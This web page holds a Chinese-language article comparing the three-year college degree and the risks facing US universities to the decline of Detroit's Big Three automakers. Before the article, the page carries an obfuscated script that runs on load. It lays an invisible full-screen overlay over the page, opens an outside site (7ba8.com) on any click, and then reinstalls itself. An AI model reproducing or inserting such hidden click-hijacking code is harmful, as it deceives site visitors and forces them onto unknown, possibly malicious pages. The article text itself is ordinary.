<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>哈威克学院（Hartwick college）坐落在纽约北部，是一所文科学校。现在学校给充分准备好了的学生们了一个新的选择：他们可以在3年内完成本科学业（六个学期），而不是像传统的那样四年。这样做他们可以节省一年的学费和其他费用，总额约为$43,000。很多创新的学院也为非常想节省时间和金钱的学生们提供了相同的选择。这种三年制的学位制度将成为高等教育界的新型能效车，而且对世界的高等教育系统提供了机会，也提出了警告。在1960年代，美国生产了几乎所有世界上最好的汽车。底特律的汽车三巨头：福特，克莱斯勒和通用汽车，生产了80%的美国市场上的汽车。但是这种支配地位具有本身内在的风险。
在《清算》一书中，已故的David Halberstam探究了美国汽车工业的问题。他写道，美国汽车公司（American Motors）的总裁George Romney认为，三大巨头是“共同形成垄断的公司。。。对于国内市场的控制越来越孔武有余，智慧不足。他们越来越被锁定在一些业务上，他们中很多智慧的人都意识到了这样做的破坏性的后果，但是因其利润丰厚而又难以割舍。” Romney曾经警告说，“没有什么比不能变通的成功更加脆弱了。”
故事接下来怎么发展，我们都已经知道答案了。这三巨头继续生产大排量的大个子汽车，而欧洲和日本则完善了更小型，能效更高的汽车。今天美国的纳税人正在资金救助通用汽车和克莱斯勒。外国的竞争对手生产着世界上最好的汽车，而三巨头生产的汽车只占美国市场的不到一半。
美国的高等教育系统可以从Romney半个世纪前对三巨头提出的警告中获得很多的启示。美国拥有几乎世界上所有最好的大学。最近中国的一个调查显示，在世界上最好的50所大学中，美国占35所，在最好的10所大学中，美国占了8所。美国的研究型大学已经成了关键的力量，支持着美国发展自身的竞争力，生产占世界所有财富的1/4。2007年，623,805名来自世界上各个国家的最优秀学生被吸引，来到美国的大学。不久前，一些笔者和一些议员同事和前巴西总统卡多佐（Fernando Henrique Cardoso）共进晚餐。卡多佐当时即将结束在国会图书馆为期一年的住校学者生活。一位参议员问卡多佐将会把美国生活的什么记忆带回巴西时，他回答说：“美国的大学。美国大学的卓越和自治。世界上没有别的什么可以于之相媲美。”
但是，正如1960年代的汽车工业一样，在美国的高等教育内部存在着一些潜在的危险。当然汽车工业的问题是垄断，而美国大学的问题是在不稳定的市场中竞争。学生们通常会得到联邦奖学金或贷款的帮助，可以在6000所公立，私立，营利性，非营利性，宗教学院中得到高等教育。另外，联邦政府对大学研究所也会投入的320亿美元的基金。 |
收藏